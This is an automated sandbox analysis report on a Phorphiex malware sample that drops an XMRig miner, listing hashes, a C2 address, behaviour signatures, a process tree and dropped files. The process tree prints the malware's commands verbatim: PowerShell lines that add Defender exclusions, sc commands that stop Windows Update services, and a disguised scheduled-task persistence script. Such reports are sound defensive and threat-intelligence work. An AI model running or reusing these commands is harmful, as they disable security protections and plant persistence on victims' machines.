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Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/10/2024, 05:25

General

  • Target

    fdbf0c19ebcafcf5e4295edc9e4a37836ba580b9a4d63b2a9ccdf8418ed5fe84.exe

  • Size

    10KB

  • MD5

    82894caeb7e149bb38d344fbc2a821d9

  • SHA1

    bf86bd33666e58f291bc9135a95f67a7483cde52

  • SHA256

    fdbf0c19ebcafcf5e4295edc9e4a37836ba580b9a4d63b2a9ccdf8418ed5fe84

  • SHA512

    fff4b4e8f5d03f6dea5cffc58e59455362269410cb48ce5a2ced621f8489e01bfddd0f99d32b181186fe63ff64c1aa0172b735c008018dba61119143b5e9ddf3

  • SSDEEP

    192:4luii0852nhe8D9+6X/2X1JxTh3thW8yV:4lTdu2nhpsiuFV32V

Malware Config

Extracted

Family

phorphiex

C2

http://185.215.113.84

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • Phorphiex family
  • Phorphiex payload 1 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 15 IoCs
  • Suspicious use of SendNotifyMessage 15 IoCs
  • Suspicious use of WriteProcessMemory 53 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3548
      • C:\Users\Admin\AppData\Local\Temp\fdbf0c19ebcafcf5e4295edc9e4a37836ba580b9a4d63b2a9ccdf8418ed5fe84.exe
        "C:\Users\Admin\AppData\Local\Temp\fdbf0c19ebcafcf5e4295edc9e4a37836ba580b9a4d63b2a9ccdf8418ed5fe84.exe"
        2⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1096
        • C:\Users\Admin\AppData\Local\Temp\13316.scr
          "C:\Users\Admin\AppData\Local\Temp\13316.scr" /S
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3080
          • C:\Windows\sysppvrdnvs.exe
            C:\Windows\sysppvrdnvs.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Checks computer location settings
            • Executes dropped EXE
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2164
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:5084
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1388
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4708
              • C:\Windows\SysWOW64\sc.exe
                sc stop UsoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2720
              • C:\Windows\SysWOW64\sc.exe
                sc stop WaaSMedicSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:3156
              • C:\Windows\SysWOW64\sc.exe
                sc stop wuauserv
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:4248
              • C:\Windows\SysWOW64\sc.exe
                sc stop DoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2240
              • C:\Windows\SysWOW64\sc.exe
                sc stop BITS /wait
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2852
            • C:\Users\Admin\AppData\Local\Temp\2897516451.exe
              C:\Users\Admin\AppData\Local\Temp\2897516451.exe
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3572
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:3772
                • C:\Windows\system32\reg.exe
                  reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                  7⤵
                    PID:2160
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3708
                  • C:\Windows\system32\schtasks.exe
                    schtasks /delete /f /tn "Windows Upgrade Manager"
                    7⤵
                      PID:4568
                • C:\Users\Admin\AppData\Local\Temp\27567509.exe
                  C:\Users\Admin\AppData\Local\Temp\27567509.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:1424
                • C:\Users\Admin\AppData\Local\Temp\646131593.exe
                  C:\Users\Admin\AppData\Local\Temp\646131593.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:1148
                  • C:\Users\Admin\AppData\Local\Temp\1257824868.exe
                    C:\Users\Admin\AppData\Local\Temp\1257824868.exe
                    6⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4544
                • C:\Users\Admin\AppData\Local\Temp\725922758.exe
                  C:\Users\Admin\AppData\Local\Temp\725922758.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:3044
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:428
          • C:\Windows\System32\schtasks.exe
            C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
            2⤵
              PID:4600
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:736
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe
              2⤵
                PID:3448
              • C:\Windows\System32\dwm.exe
                C:\Windows\System32\dwm.exe
                2⤵
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:804
            • C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
              "C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
              1⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:3812

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

              Filesize

              3KB

              MD5

              fee026663fcb662152188784794028ee

              SHA1

              3c02a26a9cb16648fad85c6477b68ced3cb0cb45

              SHA256

              dbd4136bc342e3e92902ec3a30d165452c82997a7ae24ac90775e42d88959e6b

              SHA512

              7b12bd5c8fc4356b9123d6586b4980cf76012663b41c0dab6f6f21567e2f4005c5bcea2cc2158d157e4f801a281f3e04bad3774cddb3122db309ccf662184bd6

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\HA5FC889\1[1]

              Filesize

              108KB

              MD5

              1fcb78fb6cf9720e9d9494c42142d885

              SHA1

              fef9c2e728ab9d56ce9ed28934b3182b6f1d5379

              SHA256

              84652bb8c63ca4fd7eb7a2d6ef44029801f3057aa2961867245a3a765928dd02

              SHA512

              cdf58e463af1784aea86995b3e5d6b07701c5c4095e30ec80cc901ffd448c6f4f714c521bf8796ffa8c47538bf8bf5351e157596efaa7ab88155d63dc33f7dc3

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              18KB

              MD5

              ef9ddaab9c61ae9e256ee625cef29236

              SHA1

              faae3147e095b5539e43dea25eb817ebe342dc7c

              SHA256

              9e94da7984e18a3df174fe2631293743810479864a9c408ff795c28530a7488f

              SHA512

              344ed7a61a7495e02b22d797375bc1b937db47b080323518d023b24b0bf3caf298847ae1bdca46e2a7f6d9325c38c57d7328f1ecadc99c8e32566982b6dae36b

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              1KB

              MD5

              d95b08252ed624f6d91b46523f110f29

              SHA1

              17577997bc1fb5d3fbe59be84013165534415dc3

              SHA256

              342ce7c39bf9992d31d4b61ef138b2b084c96c74736ed00bb19aae49be16ca02

              SHA512

              0c4288176d56f4ee6d8f08f568fba07ad859f50a395c39d2afd3baf55d3d29ca065a1ce305d1bd790477c35977c0ffa230543e805622f80a77bcee71b24eb257

            • C:\Users\Admin\AppData\Local\Temp\1257824868.exe

              Filesize

              5.6MB

              MD5

              13b26b2c7048a92d6a843c1302618fad

              SHA1

              89c2dfc01ac12ef2704c7669844ec69f1700c1ca

              SHA256

              1753ad35ece25ab9a19048c70062e9170f495e313d7355ebbba59c38f5d90256

              SHA512

              d6aff89b61c9945002a6798617ad304612460a607ef1cfbdcb32f8932ca648bcee1d5f2e0321bb4c58c1f4642b1e0ececc1eb82450fdec7dff69b5389f195455

            • C:\Users\Admin\AppData\Local\Temp\13316.scr

              Filesize

              83KB

              MD5

              06560b5e92d704395bc6dae58bc7e794

              SHA1

              fbd3e4ae28620197d1f02bfc24adaf4ddacd2372

              SHA256

              9eaaadf3857e4a3e83f4f78d96ab185213b6528c8e470807f9d16035daadf33d

              SHA512

              b55b49fc1bd526c47d88fcf8a20fcaed900bfb291f2e3e1186ec196a87127ed24df71385ae04fedcc802c362c4ebf38edfc182013febf4496ddeb66ce5195ee3

            • C:\Users\Admin\AppData\Local\Temp\27567509.exe

              Filesize

              15KB

              MD5

              0c37ee292fec32dba0420e6c94224e28

              SHA1

              012cbdddaddab319a4b3ae2968b42950e929c46b

              SHA256

              981d724feebc36777e99513dc061d1f009e589f965c920797285c46d863060d1

              SHA512

              2b60b571c55d0441ba0cfc695f9db5cd12660ebec7effc7e893c3b7a1c6cb6149df487c31b8d748697e260cbc4af29331592b705ea9638f64a711c7a6164628b

            • C:\Users\Admin\AppData\Local\Temp\2897516451.exe

              Filesize

              8KB

              MD5

              cb8420e681f68db1bad5ed24e7b22114

              SHA1

              416fc65d538d3622f5ca71c667a11df88a927c31

              SHA256

              5850892f67f85991b31fc90f62c8b7791afeb3c08ae1877d857aa2b59471a2ea

              SHA512

              baaabcc4ad5d409267a34ed7b20e4afb4d247974bfc581d39aae945e5bf8a673a1f8eacae2e6783480c8baaeb0a80d028274a202d456f13d0af956afa0110fdf

            • C:\Users\Admin\AppData\Local\Temp\646131593.exe

              Filesize

              10KB

              MD5

              96509ab828867d81c1693b614b22f41d

              SHA1

              c5f82005dbda43cedd86708cc5fc3635a781a67e

              SHA256

              a9de2927b0ec45cf900508fec18531c04ee9fa8a5dfe2fc82c67d9458cf4b744

              SHA512

              ff603117a06da8fb2386c1d2049a5896774e41f34d05951ecd4e7b5fc9da51a373e3fcf61af3577ff78490cf898471ce8e71eae848a12812fe98cd7e76e1a9ca

            • C:\Users\Admin\AppData\Local\Temp\725922758.exe

              Filesize

              13KB

              MD5

              5a0d146f7a911e98da8cc3c6de8acabf

              SHA1

              4ec56b14a08c897a5e9e85f5545b6c976a0be3c1

              SHA256

              bf61e77b7c49ce3346a28d8bc084c210618ea6ec5f3cfa9ae8f4aa4d64e145f1

              SHA512

              6d1526a5f467535d51b7f9b3a7af2d54512526e2523e3048082277b83b6e1a1f0d7e3c617405898f240ae84a16163bc47886d8541a016b31c51dfadf9da713e1

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eqdjjj0x.g3q.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/428-100-0x000001F933CF0000-0x000001F933D12000-memory.dmp

              Filesize

              136KB

            • memory/804-134-0x0000020E3FC30000-0x0000020E3FC50000-memory.dmp

              Filesize

              128KB

            • memory/804-136-0x00007FF6C23A0000-0x00007FF6C2B8F000-memory.dmp

              Filesize

              7.9MB

            • memory/804-138-0x00007FF6C23A0000-0x00007FF6C2B8F000-memory.dmp

              Filesize

              7.9MB

            • memory/1388-31-0x00000000704F0000-0x000000007053C000-memory.dmp

              Filesize

              304KB

            • memory/1388-30-0x0000000007070000-0x00000000070A2000-memory.dmp

              Filesize

              200KB

            • memory/1388-46-0x0000000007460000-0x00000000074F6000-memory.dmp

              Filesize

              600KB

            • memory/1388-47-0x00000000073F0000-0x0000000007401000-memory.dmp

              Filesize

              68KB

            • memory/1388-48-0x0000000007420000-0x000000000742E000-memory.dmp

              Filesize

              56KB

            • memory/1388-49-0x0000000007430000-0x0000000007444000-memory.dmp

              Filesize

              80KB

            • memory/1388-50-0x0000000007520000-0x000000000753A000-memory.dmp

              Filesize

              104KB

            • memory/1388-51-0x0000000007500000-0x0000000007508000-memory.dmp

              Filesize

              32KB

            • memory/1388-44-0x0000000007200000-0x000000000721A000-memory.dmp

              Filesize

              104KB

            • memory/1388-43-0x0000000007880000-0x0000000007EFA000-memory.dmp

              Filesize

              6.5MB

            • memory/1388-13-0x00000000048D0000-0x0000000004906000-memory.dmp

              Filesize

              216KB

            • memory/1388-42-0x00000000070B0000-0x0000000007153000-memory.dmp

              Filesize

              652KB

            • memory/1388-41-0x0000000006470000-0x000000000648E000-memory.dmp

              Filesize

              120KB

            • memory/1388-45-0x0000000007250000-0x000000000725A000-memory.dmp

              Filesize

              40KB

            • memory/1388-29-0x0000000005EE0000-0x0000000005F2C000-memory.dmp

              Filesize

              304KB

            • memory/1388-28-0x0000000005EA0000-0x0000000005EBE000-memory.dmp

              Filesize

              120KB

            • memory/1388-27-0x00000000058C0000-0x0000000005C14000-memory.dmp

              Filesize

              3.3MB

            • memory/1388-14-0x0000000005000000-0x0000000005628000-memory.dmp

              Filesize

              6.2MB

            • memory/1388-17-0x0000000005850000-0x00000000058B6000-memory.dmp

              Filesize

              408KB

            • memory/1388-16-0x00000000056E0000-0x0000000005746000-memory.dmp

              Filesize

              408KB

            • memory/1388-15-0x0000000004EF0000-0x0000000004F12000-memory.dmp

              Filesize

              136KB

            • memory/3448-135-0x00007FF616F40000-0x00007FF616F69000-memory.dmp

              Filesize

              164KB

            • memory/3448-137-0x00007FF616F40000-0x00007FF616F69000-memory.dmp

              Filesize

              164KB

            • memory/3572-72-0x00000000006C0000-0x00000000006C6000-memory.dmp

              Filesize

              24KB

            • memory/3812-133-0x00007FF6E2DA0000-0x00007FF6E3337000-memory.dmp

              Filesize

              5.6MB

            • memory/4544-115-0x00007FF760870000-0x00007FF760E07000-memory.dmp

              Filesize

              5.6MB